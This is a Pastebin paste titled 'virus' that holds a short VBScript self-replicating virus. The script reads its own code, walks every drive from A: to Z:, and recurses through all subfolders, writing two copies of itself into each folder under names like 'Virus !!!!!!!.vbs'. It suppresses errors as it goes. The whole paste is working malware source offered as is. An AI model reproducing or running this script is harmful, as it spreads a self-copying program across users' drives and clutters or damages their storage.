Advertisement
Raiha

virus

Aug 19th, 2014
239
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.95 KB | None | 0 0
  1. 'Thuoc Doc !!!
  2. Dim fso,file,VBCopy
  3. Set fso=CreateObject("Scripting.FileSystemObject")
  4. Set file=fso_OpenTextFile(WScript.ScriptFullName,1)
  5. VBCopy=file.ReadAll
  6. FolderList("A:")
  7. FolderList("B:")
  8. FolderList("C:")
  9. FolderList("D:")
  10. FolderList("E:")
  11. FolderList("F:")
  12. FolderList("G:")
  13. FolderList("H:")
  14. FolderList("I:")
  15. FolderList("J:")
  16. FolderList("K:")
  17. FolderList("L:")
  18. FolderList("M:")
  19. FolderList("N:")
  20. FolderList("O:")
  21. FolderList("P:")
  22. FolderList("Q:")
  23. FolderList("R:")
  24. FolderList("S:")
  25. FolderList("T:")
  26. FolderList("U:")
  27. FolderList("V:")
  28. FolderList("X:")
  29. FolderList("Y:")
  30. FolderList("Z:")
  31. FolderList("W:")
  32.  
  33. Sub FolderList(FolderSpec)
  34. On Error Resume Next
  35. Dim f,f1,sf,COP,CAP
  36. Set f=fso.GetFolder(FolderSpec)
  37. set sf=f.SubFolders
  38. For Each f1 In sf
  39. Set COP=fso.CreateTextFile(f1.path & "\Virus !!!!!!!.vbs")
  40. COP.write VBCopy
  41. Set CAP=fso.CreateTextFile(f1.path & "---Virus !!!!!!!.vbs")
  42. CAP.write VBCopy
  43. FolderList(f1.Path)
  44. Next
  45. End sub
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement